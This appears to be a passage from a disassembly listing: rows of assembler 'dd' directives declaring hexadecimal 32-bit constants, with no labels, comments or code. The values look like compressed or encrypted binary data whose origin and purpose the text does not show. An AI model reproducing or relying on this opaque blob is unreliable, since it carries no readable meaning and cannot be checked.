		dd 0E9510009h, 0F6BE8AE8h, 482C9FBBh, 0CE1F4449h, 9E3000A5h
		dd 659D74h, 6FDA7560h, 8680C60Ch, 1DBC0548h, 0A840D62Dh
		dd 0E929B61h, 0CEF00F7Eh, 0A9209563h, 0C0A625C6h, 50CA1200h
		dd 796E86F8h, 4D3A1F93h, 8E7E8001h, 1D2FB317h, 0AB80FB07h
		dd 0BC8F9D2h, 96870DACh, 0ADA18F72h, 0E4A28981h, 6603A934h
		dd 0BB2803F9h, 0A306A018h, 29070030h, 0A1AF4B15h, 3E60FCD6h
		dd 0A2D52411h, 0DBCC26DAh, 1B060988h, 19ACCA82h, 4FA16840h
		dd 63096500h, 0C59D7034h, 2D7F0FA6h, 0C3A07375h, 0FC223C0Fh
		dd 0F5B2EF05h, 8F126Ch,	4B1A25A2h, 51FD8138h, 0EF0FFE5h
		dd 0B6C0F01h, 26C0AE06h, 0BF4CABA6h, 4ED05Ch, 63CA9E51h
		dd 0F7D6A2h, 667FF4ADh,	96A46E19h, 7B5E4901h, 1EE93DA7h
		dd 747006D9h, 0E2B900B8h, 91C094C8h, 6024E739h,	9C820071h
		dd 503A9E3Eh, 1BEC1Ch, 5F5340D0h, 0A1BA6647h, 9405E27Ch
		dd 215942CDh, 700F18C2h, 44F33E1Ch, 5634A189h, 80995184h
		dd 61B20B35h, 184CAE2Eh
		dd 4C039C12h, 0B91FD11Ch, 0F7308E6Ch, 0AD732E63h, 51E00254h
		dd 140AFD7h, 0B00F7CB1h, 27C09304h, 2751405Eh, 66F950F4h
		dd 0D888A085h, 1196C6F2h, 0FB577300h, 9C8AB60Ch, 0A899034Bh
		dd 1724BC22h, 38D06D90h, 83D33E3Ah, 41B6286Eh, 0D6383EE6h
		dd 0BABD5081h, 30D364EFh, 48074038h, 8671329Bh,	0C84F0483h
		dd 58A4284h, 1FC1A188h,	0CE88C1DFh, 3A6C8062h, 21F2E6FCh
		dd 0F92B00E1h, 1F79D254h, 5E1445D6h, 0B09776h, 0B5D85062h
		dd 3A99F1E7h, 0E4B064FEh, 0CADDBC70h, 0E6A95C00h, 18AB3C50h
		dd 76D490F5h, 0ABD0091h, 0EC39542Ah, 6F03ADE5h,	0D5C5FBE1h
		dd 0C91CF812h, 210F02A5h, 4D763D28h, 5DC3CC80h,	22012467h
		dd 7CDB97FDh, 0A839072Bh, 0B087603h, 7007275Dh,	4B849920h
		dd 41746480h, 0CDDDE771h, 0EEBEAEC4h, 0A09800A7h, 0D0293431h
		dd 5700F4C3h, 0FA593668h, 0AD5AABh, 55D1A267h, 0FECF1407h
		dd 30AC850Eh, 0F9D4315h, 17EB9886h, 0C5F40008h,	7482EA67h
		dd 0C01ECBF0h, 0E0062DAh, 5B482EA4h, 90FCF723h,	8FF40050h
		dd 9DC638C4h, 4100FF19h, 34EBD24Ah, 1BBF81Ah, 3943839Ah
		dd 40B2FDEAh, 24758CB0h, 0B8F56900h, 0D29C256h,	0AACA07B9h
		dd 0C0884D5Ah, 37BD6C62h, 71E18503h, 0F5AF9C52h, 0E64B9080h
		dd 0FB590072h, 0A2685E65h, 561FFA79h, 1F058BCDh, 0DD056270h
		dd 0A080CBF8h, 3B7C13h,	20DA475h, 0AEF38295h, 2C769600h
		dd 1F22DBCDh, 0A2C30783h, 37859A67h, 326DF04Ah,	480319A6h
		dd 0F914E943h, 7B91E8BEh, 69330016h, 0BCC517Dh,	8275BF3Ah
		dd 0DB1F547Eh, 0CE40D270h, 5A45D394h, 0B405008Fh, 0FA373F97h
		dd 0BC00260Ch, 516AD2B9h, 3CB1B0C1h, 6D008F65h,	0D47448C2h
		dd 5A0F3824h, 3252FC7Eh, 0E5D01000h, 5F1B01Eh, 0B4D5D8A3h
		dd 4DE8C02Ah, 8100FA6Dh, 0BA6A150Eh, 70BC2D7Bh,	408EE68h
		dd 240CB964h, 0E488C0E6h, 4C12AFAAh, 50812E8Dh,	0D0D62A86h
		dd 8A640514h, 3FA99Eh, 0B401C7F1h, 570002DDh, 3DB25807h
		dd 0C6182CFh, 0AF188F26h, 24027440h, 0E3CE6581h, 0C78040E5h
		dd 0CC31079Bh, 0E25AA757h, 68636955h, 5B23FF82h, 6AB3C88Ch
		dd 5A4D0964h, 74005049h, 9CB9126Dh, 8BED58C2h, 0F0C4C3A1h
		dd 3E62FAh, 96900409h, 0D6C0DB11h, 4500837Dh, 0E78CCA15h
		dd 0E95B1940h, 9D62608Bh, 0D564823h, 0F094809Ch, 180C9661h
		dd 40D8BD60h, 6E210304h, 0A1DEC226h, 0B6156D98h, 0B92A7B07h
		dd 71E0909Eh, 413CFD7h,	0FE024B05h, 0AB48C096h,	7000257Dh
		dd 0A8EFB01Dh, 0F86A78h, 20FEB139h, 0DC02991h, 86893801h
		dd 71B5D446h, 688202ECh, 0C40852h, 6C28298Bh, 1500D383h
		dd 0EC12D07Eh, 0EEDE6AC6h, 695101DFh, 0AAE8070Bh, 0E8A2D943h
		dd 0C700C968h, 6FEEBB52h, 70090Fh, 0A9C72FAh, 0A4EDEBD1h
		dd 0BD98FB00h, 0DE8DF4Ah, 313D0079h, 3B541D46h,	0FA027C9Ch
		dd 1F11FED0h, 920848DBh, 0C044747Fh, 0EAFBB599h, 0F40367D4h
		dd 0E509DFA4h, 1A3A98F0h, 2FA9Fh, 577D632Dh, 994C64AEh
		dd 14929101h, 161EDF3Dh, 79434D8h, 4D339803h, 5F003E9Ch
		dd 3741A5ECh, 0F8016E7Ah, 0E9281F76h, 7880158Dh, 61CE8693h
		dd 63006FB8h, 9F3C598Bh, 7B79C133h, 8EA53F72h, 34B13A30h
		dd 270B22AFh, 20550C69h, 5EA4C17Ch, 543D0062h, 9A313518h
		dd 0B4832FCh, 0CB770048h, 39C5958Dh, 963C00E2h,	0A5785F46h
		dd 0E5039C02h, 9EFB6C04h, 2CC7A0F2h, 0C2A62A56h, 26570088h
		dd 2138333Bh, 0E700E4ECh, 9B71358Fh, 68D65Ah, 8106467Ch
		dd 90B37A32h, 0D2449400h, 0A0E1370Ch, 3C20680h,	51BFB879h
		dd 0F24A6400h, 20750E22h, 68820041h, 0DEBF1A24h, 0C59D8F9h
		dd 83BE02ECh, 0F2B3EF0h, 2312FA02h, 0D9A2840h, 5C725512h
		dd 4947E040h, 910A3A2h,	0BA6F45CBh, 454A020h, 5B00EEA1h
		dd 98E4E530h, 60E88227h, 424E3966h, 455CD811h, 0E2CA01E6h
		dd 0A7CCF758h, 0F6EB450h, 8A550268h, 24BDB63Fh,	404584A1h
		dd 0ECBC50EEh, 0DF5B7A1Dh, 268A9000h, 0C39FFCh,	0AFB2BF78h
		dd 7CAA7249h, 80464538h, 9F8A8765h, 13C9D4Ch, 0BC2A75B3h
		dd 0DC317710h, 0BF07E3B6h, 0F9C7D0E1h, 0A15F7490h, 38C65DC8h
		dd 82345D08h, 24207980h, 24D30125h, 83DC7FC9h, 5CA1F514h
		dd 20B02800h, 0D954D1A7h, 6B3E00ECh, 3A4ED492h,	0C7043413h
		dd 5A7AC1DCh, 0E62D3280h, 0DF29004Ah, 691ADBA4h, 63007336h
		dd 3498E004h, 0C45AE3h,	2381732h, 867A0A03h, 0D3FE241Fh
		dd 0BDF0FF03h, 0D9BFE835h, 429C00A7h, 996422B8h, 540059D0h
		dd 5CF48E70h, 13DBE91h,	58556BB5h, 0C8D087AAh, 5316C5DFh
		dd 50225E89h, 0D930E010h, 0C0F4066Ch, 0F04EE684h, 3D94B103h
		dd 88C38DFAh, 0AD445Ah,	5838CEC1h, 8233A904h, 0E0EE7700h
		dd 0A1AEE4DBh, 16A57232h, 308EF5Ch, 0B3B221C3h,	6FB793A0h
		dd 61E2E800h, 2480970Dh, 0D740C0A8h, 0AE3CC24Fh, 546CCB00h
		dd 8010BF4Ch, 19B0063Ah, 28FBEF38h, 0B1C55900h,	736D28F1h
		dd 71D3E94h, 2F03A700h,	67A87B5Eh, 58FD7400h, 0A2F3F64Dh
		dd 372603EDh, 0A176B98Ch, 48ADD850h, 21A63A1Ch,	72717380h
		dd 9894CDh, 0EA3DC62Ch,	7BACC8E7h, 4A570D00h, 0DDBD6815h
		dd 1D0203C0h, 0D130F447h, 2EF1E0CFh, 94708ABFh,	162C6F00h
		dd 0CD1FAA9Fh, 739F8E4h, 64727BE7h, 897EF055h, 0D9010E25h
		dd 43E1CC68h, 4FDCA3D6h, 22810F9Dh, 7E80B219h, 2532DE18h
		dd 93F9ED00h, 0F8C631F2h, 0AB710733h, 205AD1A8h, 0D8A5865Dh
		dd 41295000h, 0C723995h, 83E40063h, 0A437166Fh,	1019886h
		dd 62F0AF19h, 20D01FC9h, 408F5C14h, 0C4652800h,	70C1AEDFh
		dd 1898C3E6h, 0DDF91A00h, 8D3318B0h, 887A00E1h,	0C95FB358h
		dd 56261451h, 0F98B28A1h, 8124242Ah, 2F4210A4h,	60800561h
		dd 8811DAEFh, 961AA212h, 0F080D453h, 13EDDCBh, 5BC50963h
		dd 0D890BE57h, 4513D464h, 0C002F4Eh, 95F330CEh,	1CBB0BCBh
		dd 760EA3BAh, 4705D560h, 7DE607B6h, 3100409Ch, 27A88CB7h
		dd 47418FDh, 2538A0F4h,	0C7F90600h, 0CA3E0F69h,	78AF0855h
		dd 38014945h, 15E4DAABh, 65AE3850h, 0B46303F1h,	140A80EBh
		dd 0D5ACFFE0h, 1706C09Ah, 89E0EDEEh, 2160078h, 29F3D81Ah
		dd 0AE03A827h, 0E9503A2Ch, 579FB034h, 98EE00E5h, 22D43773h
		dd 0B02614BEh, 2500602Fh, 4BD9356Eh, 0E5900A2h,	441C5F9h
		dd 0F3001A31h, 0A7DF8950h, 0C0361D66h, 619BF8B1h, 720E5C2Bh
		dd 0A0F5B817h, 71DDABB1h, 33BA0557h, 83241998h,	0ED8EBE1h
		dd 431249D1h, 0FC026A02h, 50F28262h, 61A218F8h,	43855976h
		dd 9838D816h, 0D907ED00h, 0EED11Fh, 55BA3EE1h, 0E2117DF3h
		dd 0BA38A02h, 0C06DB640h, 0BF43E866h, 84774550h, 5468BF00h
		dd 0C1161465h, 97670023h, 0CBA1CD55h, 0BAFC6F7Ch, 0A0C5D200h
		dd 0F389041Fh, 0A40F0062h, 9A5D4185h, 0DE618D59h, 0CE93A790h
		dd 6DF6D4h, 0AFD77822h,	2B80E5Ah, 0C04A5D30h, 1FDC0BE3h
		dd 0C13C6824h, 0E9F677D7h, 88D850F9h, 20049A3h,	3AEC3411h
		dd 0F2927EBAh, 248F00DFh, 738D16D7h, 0AF016A68h, 0F193B701h
		dd 30200D3Eh, 3AB424E8h, 70B080A8h, 6C97E5E0h, 39D5858h
		dd 0BA8442C7h, 6705E077h, 38D0E676h, 9882BD10h,	0ED6AC92h
		dd 0CF934CC0h, 866CE4EDh, 7323E607h, 0C3E0D308h, 9ED3844h
		dd 0CE740527h, 0CD9A0381h, 0C1A7F8C4h, 0AB18C900h, 0B3C0EE94h
		dd 8B6D0047h, 9CB23316h
		dd 7E00300Eh, 0B44D3166h, 0CFD7FFh, 4ADD19EAh, 3D22B1F7h
		dd 88008071h, 0FA6E4DBFh, 48DBBAC0h, 99008809h,	0A6963929h
		dd 4900E538h, 0AC7225DDh, 0AED25Eh, 2C827A02h, 4464F189h
		dd 0A6BF3400h, 0C63E95C7h, 57F062h, 7DF21FF0h, 1796E466h
		dd 682DAD0Eh, 42B900B6h, 0F0FE37B5h, 0D67C0097h, 611C7B4Bh
		dd 700024F2h, 4020864h,	0A2C1FDh, 0D7D16738h, 79E4CA89h
		dd 407C6200h, 0DF956843h, 0BDDD0A8Dh, 9E3854F2h, 0A64440E1h
		dd 0FD4C3F36h, 4EF4A300h, 0C9D1B93Dh, 49F8002Ah, 72825ECBh
		dd 0E008313h, 0CA7EA443h, 147510Ch, 3CC3D264h, 7006625Dh
		dd 48004671h, 2C19A009h, 7766A937h, 3DBD24A2h, 0E5D5006Ch
		dd 96FC0D01h, 0C7D82B00h, 0BC97A2A7h, 6D45072Eh, 205DD94Eh
		dd 8AEE92A3h, 48886307h, 0E420DB4Fh, 0D5EBE6h, 6095FD70h
		dd 0B54A1790h, 0BDFE2E00h, 11C0C518h, 0DAAC01CBh, 0EBE0503h
		dd 0D07C21h, 0A2EAE4B1h, 0FA47EEh, 716357CBh, 0CE3536F0h
		dd 827BD609h, 0F85887FEh, 148B3F6h, 0DFA6669Ch,	0EC1F9A6Ch
		dd 8900EEB4h, 6DEC6B43h, 1E2FF6h, 0A4C25548h, 3A59BE27h
		dd 86EFC700h, 6BEAEEA0h, 0AA5039D2h, 0F2A65400h, 0BE596CD4h
		dd 42B1AB00h, 9CFBB64Ch, 3BC47330h, 1500F0BDh, 0D2B54DE3h
		dd 7100B856h, 64866933h, 2EF187CAh, 856422DBh, 923917h
		dd 3DAE33CAh, 0B1007E81h, 0C553A064h, 0A531ECh,	1F615D4Bh
		dd 0D825357Bh, 2307017Bh, 0CBB5872Eh, 0C3D170A0h, 0A9BF0095h
		dd 379FB12h, 7E000693h,	4F518CC4h, 0CCD902h, 66DD8F58h
		dd 0FA2BC5C2h, 1B5B6400h, 0E9CEBCE4h, 0D4300338h, 0F96183F3h
		dd 0CC888084h, 76004FECh, 6E03D8DEh, 3B38F31Dh,	0C2A6F41Eh
		dd 283D01F8h, 0C879427Ch, 0D6166E39h, 0A8008FB4h, 0E1EA47DEh
		dd 0DB2A00F2h, 0AEEF0AC2h, 0D00E7DF5h, 0E0D8F620h, 34A99A92h
		dd 2F790481h, 0C0F80E28h, 3BC620FCh, 9A630D00h,	0F24A02B6h
		dd 839C0176h, 0E8EADD95h, 0F696DCD9h, 0A5706401h, 4CB948F7h
		dd 577C30h, 0F3EB4E60h,	468DFEFh, 8FF4A500h, 0E0073C80h
		dd 869F03CFh, 0BE6A381Ch, 0C6F5D9F8h, 7E2D03F8h, 0A4C0A06Eh
		dd 962373Ah, 0C0B7CD8h,	0CB347C80h, 4E068624h, 0EEFB0579h
		dd 0C0B80570h, 90B37E19h, 0D0129EE0h, 28958F30h, 0AD3A35h
		dd 0D5AFF605h, 73BDDE49h, 0E39E4400h, 0DAB72CDDh, 112200C9h
		dd 80D8DEEh, 8F0C3970h,	604B610Eh, 0A7BF07EFh, 30506CB3h
		dd 2CEAFB52h, 0A2F85700h, 0D58744E3h, 0D064007Fh, 512E17E0h
		dd 0A048DCEh, 22C0F7FBh, 926E3C90h, 0C15B0D0Dh,	0CCD132D5h
		dd 0E4994F20h, 71F70B80h, 7669E9Fh, 926126E6h, 75B5802Dh
		dd 3A79A71Bh, 5A5DDF01h, 0BDA70ADh, 0B676C8h, 4154E450h
		dd 2F05F4C4h, 0F7C05A09h, 365C004Eh, 7B7043h, 0B16760ABh
		dd 9DB32274h, 4C5ADD00h, 82231965h, 6C7D79h, 0EFFE9196h
		dd 90C94EF3h, 8B0B7BB0h, 800CB4DAh, 0F15A4061h,	0CDD4ED7Ah
		dd 0EA39023Dh, 78660797h, 6F625F40h, 0F3122300h, 95BB453Bh
		dd 0B52A01B8h, 52C7773Ah, 1978D332h, 279AEC00h,	185E2E78h
		dd 0B1730E01h, 842E53ACh, 0E0EC2C60h, 92FE25B0h, 0B5C90504h
		dd 4F80CD6Dh, 3E347D83h, 3382B17Ah, 5E19F9FCh, 591F8055h
		dd 0EBB2A4Eh, 3FA91147h, 97DA3CE0h, 0B4002438h,	22296791h
		dd 0AA9C4Dh, 0CECF3EC6h, 197AF966h, 2C18CD02h, 0D8267D2Fh
		dd 80B0BE38h, 0D736B25Ch, 6B00C996h, 3C5B6F74h,	0C7F2983h
		dd 9B0C1470h, 0FFF2B19Eh, 3743EF0Fh, 0E8003682h, 96218E08h
		dd 0ABD07473h, 0AC14D1FCh, 1805022h, 0E9BBF97Eh, 0B8E02BE3h
		dd 7D0700DBh, 90563B8h,	5D5C1E2Eh, 545E0092h, 0CC9A2B8Eh
		dd 92720057h, 6EEC45C9h, 9C00C50Eh, 9FE8B63Fh, 0F40AD1h
		dd 0D58860BDh, 722F0D73h, 0D3CAA200h, 0E754DFEEh, 332E1C1Dh
		dd 730600CFh, 429D8EC3h, 0C593B007h, 0CB90F036h, 2C22BA63h
		dd 0F50E591h, 0D602D18h, 727B07ACh, 0CB94000h, 26B120FFh
		dd 0F34B074h, 0FE94D1E0h, 0FC3AD3A1h, 4A5AC880h, 5EA01F0Ah
		dd 730BB027h, 238CA01Bh, 0E07677Fh, 0A45BF8C9h,	33AC0803h
		dd 4420EDB0h, 94A3E00h,	2CD521FDh, 6A7D179Fh, 78084FC7h
		dd 45C153E0h, 3550EF40h, 0C8FE38B0h, 0AA2E3B71h, 7E00D848h
		dd 0B1241945h, 0BE73AFEh, 0B9C93F80h, 0EFD5F297h, 8B11D001h
		dd 9D870D99h, 3DBE9C20h, 0E6746FDCh, 0E75F5965h, 0E8E07200h
		dd 0B82DCFDAh, 80BC173Fh, 0CC7637A2h, 0EB641B1h, 6C6967E0h
		dd 7CDCB280h, 1D008D73h, 1617CC65h, 1AC3291h, 689B644h
		dd 7039575Bh, 0A6000DB4h, 0D6C09A1Bh, 7708A996h, 0D2D900F3h
		dd 0F7B6A301h, 0FF4A8378h, 0F1B82000h, 933BA90h, 8D628A53h
		dd 83EF4C85h, 0ACA4E2ECh, 548916C4h, 992ED800h,	0B2A22Ah
		dd 2C28216Ch, 6735B197h, 720B2F7Bh, 788562Dh, 0B050E066h
		dd 6E33C1h, 4D675280h, 0C9615A44h, 7C0FD602h, 54E3D1F2h
		dd 246600B8h, 5BC81FAFh, 37ADE000h, 0BBF7CFC2h,	62EB018Dh
		dd 47A315F1h, 7F76F0E9h, 0EDD3A900h, 75ACBF44h,	10DF0094h
		dd 9D296973h, 4900B91Eh, 0CEF105E3h, 2C43CC7h, 3A5D266Fh
		dd 0F4017B6h, 14E6F065h, 2F292C0Fh, 589DC09Bh, 77F20AD5h
		dd 0DCF9491Fh, 0E7E5B000h, 0CCB22333h, 7207FD02h, 8089E3D8h
		dd 8D6C2ECh, 0BF0100C3h, 6E563303h, 0EF00F4E8h,	0C53F8FAh
		dd 867034h, 13F01DFFh, 0B64220B2h, 8E576000h, 48495910h
		dd 777196h, 457401A0h, 0C958FC28h, 0C8E03751h, 290B0EB2h
		dd 0EB9147h, 4504E450h,	0E9B0EE3Ah, 4D5D9E0h, 3FCA40B9h
		dd 1010E096h, 9F2B9800h, 0DA08D7C0h, 4EB600FFh,	0E8534349h
		dd 4807CA51h, 0C5176168h, 0CE3F0480h, 0A29889h,	59FBF906h
		dd 56615510h, 3F206848h, 76632505h, 64B300EEh, 0C1D0A4A5h
		dd 1480504Eh, 38F1F0h, 0D362C0A6h, 0BCE6BB66h, 95E23B00h
		dd 6FFA1A5Eh, 144B0013h, 0CDF6AF44h, 0DBF00167h, 2A508C1Ch
		dd 0E9BDA2C0h, 0DA07E7h, 33859DD5h, 0FFBC148Eh,	65755F18h
		dd 0EFEB940h, 0D9243097h, 355ABDE0h, 0C9C10A5Ch, 0F38A9B8Bh
		dd 764D9520h, 0BBF6007Ah, 0FE595F03h, 0E71CE872h, 0A600EFD3h
		dd 0BAD7117Eh, 5D9D00C6h, 8DF31F98h, 0B10A4642h, 0E66B711Ch
		dd 19ED6D04h, 0EED40180h, 0F639183Eh, 67CB101Bh, 0FD40C800h
		dd 45582D1Fh, 11A80780h, 8CAE063Fh, 27265C90h, 0E600F848h
		dd 404D3A69h, 0EDAC0234h, 7D3FE359h, 2E055C5Ch,	0BC0ECE7Fh
		dd 0A7E60F4h, 7D8BD7Ch,	4885950Bh, 3FF20E5h, 1F01FA5Eh
		dd 96B6F805h, 27F8020Ah, 4F8BA04Ah, 0EF770142h,	0DAE2212Dh
		dd 5C18D4C3h, 40F29500h, 5D4ADC05h, 5E7100CFh, 0B5DAC623h
		dd 46E29C97h, 2A005376h, 3A111645h, 0D6C324h, 4CEA7218h
		dd 0A8C85A5Ch, 0AE05DDF4h, 0D783F465h, 151F3980h, 8B7E0039h
		dd 0FB602DE1h, 3600D41Eh, 792420D5h, 79F1C076h,	0EBFCAFh
		dd 8C41223Fh, 41AE625h,	8700F9B0h, 0F28049CAh, 0F75820Fh
		dd 7AAEB1B3h, 0B4EE4BC0h, 5E01C5EFh, 0CA85BCB2h, 3570509Ah
		dd 268E0444h, 0B982A16Ah, 0EF05884h, 74967016h,	0F2772CF0h
		dd 3B3E6200h, 78AF354h,	98C4B787h, 0D8480B30h, 400F10Ah
		dd 0A2685C05h, 2419297Ch, 1BCC5BFh, 0B3C1072Ah,	0F6E4803Fh
		dd 0E4AB7512h, 49F00044h, 0A7113365h, 0E91DD098h, 0FD009FBAh
		dd 0B180C183h, 632A031Dh, 57C4D786h, 8FECE3F8h,	74C7DD2Ch
		dd 98C61B09h, 3D7F327Ch
		dd 43BB1F35h, 0D96A1E8Bh, 0B991DCE0h, 0D5C9FC05h, 24E0594Ch
		dd 9F95A17h, 7E812997h,	0F01C4F68h, 521F4D6Bh, 0EC12F32Ch
		dd 0F7F094E1h, 0C0674AB4h, 0D7843344h, 94736203h, 80FC6CC4h
		dd 5CAF338h, 6FEB4BC0h,	6B88A0AFh, 0B801787Ch, 28263550h
		dd 88650F6Ch, 3807446Ch, 6AF9605h, 2106A0BAh, 0B7FFE80h
		dd 0BF5000B9h, 6D6CA910h, 0E6809CD0h, 7CA6038Ah, 22FCAA4Fh
		dd 0F654D384h, 0D680F5A2h, 65FF936Bh, 0A3EF5004h, 0C0A0891Ah
		dd 74F40109h, 795EDCA4h, 0D98450B4h, 0A800D00Fh, 0A289084Ch
		dd 0E697810h, 43365B9Dh, 702C0D67h, 15B6996Ch, 0C4CEA0D7h
		dd 37C3AC00h, 6A9972F3h, 0DABB7F15h, 0A12F01CCh, 0E5DC2460h
		dd 7423C8h, 9E83F2CEh, 8A85E8AAh, 0E40AAE01h, 0AD01363Bh
		dd 645800EFh, 38CE5E9Bh, 0E902F1C5h, 6B112965h,	0B8D046h
		dd 622078D7h, 4AC08F70h, 0DDB6B000h, 0BED848AFh, 0E4EA771Dh
		dd 0C4F4FFh, 0EA97BC2h,	4751FB8h, 0DEB35904h, 34C0888Fh
		dd 240A3Eh, 0EE3733C6h,	2D213C87h, 65A2C400h, 257C8E6Bh
		dd 3DCC0028h, 75FD4A30h, 78C7FC63h, 8207FE3Fh, 0F4407775h
		dd 7579F719h, 42323999h, 0B00779DCh, 29675822h,	82174305h
		dd 0AC78F438h, 52C5E400h, 7D0BE5A0h, 0BE12715Dh, 0EEE072Ch
		dd 0DF26F041h, 9C00B639h, 0B7A26EF2h, 601C5A0Dh, 0F41FE001h
		dd 0E55C8779h, 329F0078h, 509159CBh, 6E550134h,	7033F6E3h
		dd 0A90704Dh, 0A7689D00h, 0C5E59899h, 0CCB60040h, 28E98738h
		dd 90AB851h, 0D8B91B64h, 97535E02h, 5A54E088h, 0CD9F07F7h
		dd 70BF0525h, 0D6A267A6h, 0EAF6770Fh, 9970E2C4h, 83A68086h
		dd 7DB79D6Ch, 0B0210336h, 12BDE1EDh, 40C390E7h,	4424ABD4h
		dd 0F4009235h, 289F980Fh, 0EBA00F0Ah, 6783ADE7h, 0A1005374h
		dd 422D56D9h, 749AFDEh,	8FBF6410h, 0CEE8C001h, 0B607B5ACh
		dd 6F09EDE9h, 39515BE0h, 0A867E2D4h, 0A026B0h, 810C2129h
		dd 22FFAE3Dh, 6E00EFFEh, 60C3C667h, 5B30680Eh, 2DF0386Fh
		dd 0BA4D07E0h, 66BF2D04h, 3EA30A78h, 4B841CFh, 0D0865393h
		dd 45C8CD0Ch, 6B7FA400h, 9FBE929Bh, 0ECF5074Bh,	0E046E38Ch
		dd 0EA3C51E9h, 6303949Ch, 0D23FDEA2h, 17787EF3h, 8384806Eh
		dd 8700B5C3h, 51616DD8h, 3E70D0D3h, 0AD804C4Bh,	455FABC2h
		dd 34FBCDE5h, 41EE6B04h, 0C5319207h, 51D030ECh,	453E47h
		dd 82E7E4E8h, 23A21124h, 403F631Ch, 0E300ACA8h,	7C8F1081h
		dd 2C70D236h, 13BC32F5h, 71E800FFh, 9846C12Fh, 0B3658100h
		dd 0CA10A3ECh, 0BF851740h, 4475BC6Eh, 0F1ECF2B8h, 0DF7CEA15h
		dd 0E73F0088h, 85A8D2E9h, 0EDE41DDBh, 615005BDh, 0E124C08Fh
		dd 0CD708743h, 558AF201h, 0B2BCF7D7h, 1125C42Ch, 0B7619C60h
		dd 0EA1C0C0Fh, 0AA94E035h, 98DE437Fh, 0B54E20D4h, 225687Ch
		dd 88A06320h, 0A845A5h,	0A2AB7CE6h, 0FF99DF16h,	0AD945B00h
		dd 8A932DF9h, 1C7602F0h, 0EB46E0E6h, 406B9CE0h,	0C09D9500h
		dd 0E5476877h, 3EDD00BDh, 2A0D1756h, 917F35CDh,	8A004071h
		dd 67EAEEE6h, 1084D61h,	15D08E72h, 0D0D90544h, 5772B921h
		dd 228A7C04h, 9C812023h, 0ACD4AA27h, 0F3D504BCh, 0D1457D83h
		dd 3A2ACC20h, 30749C02h, 7EF8F001h, 0B4731C28h,	22CCBA54h
		dd 7F464100h, 0BDDDB711h, 0FF81000h, 0E9E23B50h, 9C90EBh
		dd 0D537DCBCh, 0CDB7EF36h, 104AC4Ch, 8D9657CFh,	1080996Dh
		dd 920B1C5h, 7980AB95h,	0C06E4BE8h, 8386354h, 0FF328B0Bh
		dd 97B4C9BBh, 93A62880h, 0B6B17E6Ah, 56D2B90Eh,	192C3h
		dd 72398668h, 0FF01A9D3h, 5099B1C0h, 2CB8867h, 8FBC4DC0h
		dd 415DA06Bh, 2B38DAh, 13BF0C48h, 0A63E071Ch, 0F8EF89h
		dd 9D74C54Bh, 0D13F2ED8h, 0A31507F0h, 0BBE100D0h, 0D200EA10h
		dd 1946442h, 0F5B26837h, 7D408C30h, 764A003Dh, 4D129AECh
		dd 480037B1h, 0D1A65B18h, 339D07Dh, 130FDB59h, 0A9D8B642h
		dd 3B061A7Ah, 0C8E73ABDh, 70520058h, 95859B77h,	0D603CB43h
		dd 0EE8EA3F6h, 63B5F862h, 0FD970167h, 8C34A18Ah, 0E3B37089h
		dd 0C7B01E00h, 5A011DF0h, 6F6D05D9h, 0BCE44E9Dh, 0A910EE00h
		dd 1CF79669h, 37AC905Ah, 229D83D0h, 2A11530h, 8CE3EAC8h
		dd 6CECADh, 0FDA03334h,	1E4EF985h, 5555CB96h, 971FCE0h
		dd 3D6723E1h, 942D9450h, 4A18E846h, 2451EE9Dh, 7C0E7CEh
		dd 1F879E22h, 0BCBE7665h, 993A00E0h, 8B0A76Ch, 0D3D113FDh
		dd 62A08013h, 0D4000EA2h, 0AA79F6B1h, 0EE02490h, 98BDDF1Fh
		dd 4DA0BE0h, 0D9006741h, 0B873B095h, 0C4F65Eh, 0E1566F01h
		dd 4E6EBBA8h, 8AB75800h, 1B70BC60h, 2D9EEA1h, 9166A75Dh
		dd 0E84038BAh, 23011DD7h, 790A82EAh, 7BDC63h, 0F8179044h
		dd 7E06B2B3h, 0ED6E50ECh, 0FC483092h, 0DDA925F0h, 7E354104h
		dd 30D0A649h, 16DAD3D8h, 1FC7C01h, 2C030B68h, 3506DF0h
		dd 0FD494852h, 8B6088C7h, 0E3D30088h, 302A4358h, 0B600681Ah
		dd 0B9C64574h, 59C2E441h, 0B84844D0h, 0E3AAF709h, 2CD93400h
		dd 7E135938h, 0F4014B4Eh, 31907EFh, 0A3B0B840h,	8C644A7Ah
		dd 0AF031F40h, 36C4977Eh, 7B03C8E7h, 7179026Ah,	83466FA5h
		dd 58F8D080h, 9000975Eh, 0EAEF6795h, 2E414C37h,	2784DCB8h
		dd 0C0473822h, 896D000Bh, 0FC830ABh, 61A80386h,	11BCA7C0h
		dd 460076ACh, 9DA68D92h, 28A8283h, 0F39650E0h, 0E84121CFh
		dd 0AB15D0A7h, 650D560h, 75F9DBh, 9A4AE625h, 0A31AEE36h
		dd 7B8B5E00h, 0B34DD1DEh, 6B100E6Dh, 9900895Ah,	556470F9h
		dd 26A2A303h, 0D0BCA1BEh, 11906Eh, 0FD53FBC4h, 0B561845Ah
		dd 44093EE9h, 58EB02D7h, 1C14DA73h, 0B0E7423h, 70D28BBAh
		dd 0EAB99D00h, 7659863Eh, 0E083E254h, 0C0445EE8h, 0B5BBC5E0h
		dd 0FC12E27Fh, 0BC02AE8Ah, 0E0474FB4h, 0F2EC3D8h, 0C00A638Dh
		dd 0FF7B4BE0h, 0B200EAC7h, 96DBF81Fh, 0AAF956h,	0E95AE726h
		dd 0C2D0CA1Bh, 4A0189E6h, 0EC0CD3Fh, 6371A2F8h,	79654CCh
		dd 77A61DE9h, 0AA8EF018h, 7A0049B0h, 0ABD3A0A8h, 71F51E58h
		dd 0E8615856h, 20DA6700h, 8A649624h, 80BD52F0h,	7B7FC9BCh
		dd 1A77015Ch, 0C5DF5D0Bh, 0A68C404Fh, 4600AE37h, 8707DA0Ah
		dd 47B44Bh, 925A38CEh, 0E7317705h, 0FEEED800h, 961529A3h
		dd 0C0A4FAh, 617CA1ACh,	8F39D7E7h, 0A592F90Bh, 7B0BD536h
		dd 0CF937021h, 404FF0D4h, 99C4980Fh, 9B801FFDh,	1319E3B4h
		dd 2E289A50h, 8024F80Bh, 0B9F3C489h, 5DE8F5E3h,	1888C637h
		dd 0B4C00D87h, 0CE72EAh, 8DBF3ACCh, 0BB95F7C2h,	0B7FF913h
		dd 0AD55B000h, 1D4AEA5h, 9818CB94h, 0A5535C37h,	2EDC4269h
		dd 0FF15C080h, 7145DADh, 12047670h, 0EEC23FD9h,	9491B56Bh
		dd 0F671C929h, 0B3DF2490h, 80174D3Dh, 0EF61DCB0h, 0F213781h
		dd 0DE03F756h, 0F24B07BEh, 0C8A00FEEh, 5EE09A77h, 23312C0Ch
